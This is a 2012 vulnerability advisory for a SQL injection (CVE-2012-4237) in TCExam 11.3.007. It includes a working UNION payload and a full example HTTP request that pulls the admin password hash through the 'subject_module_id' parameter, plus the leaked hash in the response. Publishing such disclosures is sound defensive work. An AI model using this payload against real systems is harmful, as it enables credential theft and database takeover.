TCExam 11.3.007 SQL Injection

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| TCExam Edit SQL Injection |  
  
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Summary  
  
=======  
  
  
  
TCExam 11.3.007 is prone to a SQL injection flaw located in  
tce_edit_answer.php and tce_edit_question.php. These files pass a  
'subject_module_id' parameter into a SQL statement without satisfactory  
sanitisation. An attacker with authoring permissions could leverage this  
vulnerability to take full control of the database.  
  
  
  
CVE number: CVE-2012-4237  
  
Impact: High  
  
Vendor homepage: http://www.tcexam.org/  
  
Vendor notified: 06/08/2012  
  
Vendor fixed: 06/08/2012  
  
Credit: Chris Cooper of Reaction Information Security  
(http://www.reactionis.co.uk/)  
  
  
  
This advisory is posted at:  
  
  
  
http://www.reactionpenetrationtesting.co.uk/tcexam-sql-injection.html  
  
  
  
  
  
Affected Products  
  
======== ========  
  
  
  
Confirmed in TCExam 11.3.007. Prior versions may also be affected.  
  
  
  
  
  
Details  
  
=======  
  
  
  
The 'subject_module_id' parameters in the tce_edit_answer.php and  
tce_edit_question.php pages were found to be subject to a SQL injection  
vulnerability. It was possible to inject arbitrary SQL statements into a  
WHERE clause, retrieving information from the database via the page output.  
The attacker must be authenticated as a valid user with a permission level  
of 5 or above in order for the attack to be successful.  
  
  
  
The following payload will extract the admin password hash (some characters  
may need to be URL encoded):  
  
  
  
999999.9 union all select (select  
concat(0x7e,0x27,tce_users.user_password,0x27,0x7e) from `tcexam`.tce_users  
where tce_users.user_name = CHAR(97,100,109,105,110) limit 0,1)  
,0x0,0x0,0x0,0x0,0x0--  
  
  
  
---  
  
Example Request:  
  
+---------------  
  
  
  
GET  
/TCExam/admin/code/tce_edit_answer.php?subject_module_id=999999.9+union+all+  
select+%28select+concat%280x7e%2C0x27%2Ctce_users.user_password%2C0x27%2C0x7  
e%29+from+%60tcexam%60.tce_users+where+tce_users.user_name+%3d+CHAR(97,100,1  
09,105,110)+limit+0%2C1%29+%2C0x0%2C0x0%2C0x0%2C0x0%2C0x0--&question_subject  
_id=3&answer_question_id=7 HTTP/1.1  
  
Host: 192.168.0.6  
  
Referer: http://192.168.0.6/TCExam/admin/code/tce_edit_question.php  
  
Cookie: PHPSESSID=db1fe2b665994ff76356e7a28abfa5df  
  
  
  
---  
  
Example Response:  
  
+----------------  
  
  
  
--- SNIP ---  
  
<select name="question_subject_id" id="question_subject_id" size="0"  
onchange="document.getElementById('form_answereditor').changesubject.value=1  
; document.getElementById('form_answereditor').submit();" title="test  
topic"> <option value="~'c574b5b09ab10f4f39ae9dce6d539cf0'~">1. -  
[%00]</option> </select>  
  
--- SNIP ---  
  
  
  
Impact  
  
======  
  
  
  
An authenticated user with a permission level of 5 or higher could take full  
control of the database, essentially allowing them to escalate their  
privileges by either directly controlling the database, cracking an  
administrator password or potentially changing their own permission level.  
Furthermore, an attacker might be able to leverage this vulnerability in  
order to further compromise the host machine.  
  
  
  
Solution  
  
========  
  
  
  
Upgrade to TCExam 11.3.008.  
  
  
  
  
  
Distribution  
  
============  
  
  
  
In addition to posting on the website, a text version of this notice has  
been posted to the following e-mail and Usenet news recipients.  
  
  
  
* bugtraq () securityfocus com  
  
* full-disclosure () lists grok org uk  
  
  
  
Future updates of this advisory, if any, will be placed on the ReactionIS  
corporate website, but may or may not be actively announced on mailing lists  
or newsgroups. Users concerned about this problem are encouraged to check  
the URL below for any updates:  
  
  
  
http://www.reactionpenetrationtesting.co.uk/tcexam-sql-injection.html  
  
  
  
============================================================================  
==  
  
  
  
Reaction Information Security   
  
Lombard House Business Centre,  
  
Suite 117,  
  
12-17 Upper Bridge Street,  
  
Canterbury, Kent, CT1 2NF  
  
  
  
Phone: +44 (0)1227 785050  
  
Email: research () reactionis {dot} co {dot} uk  
  
Web: http://www.reactionpenetrationtesting.co.uk  
  
`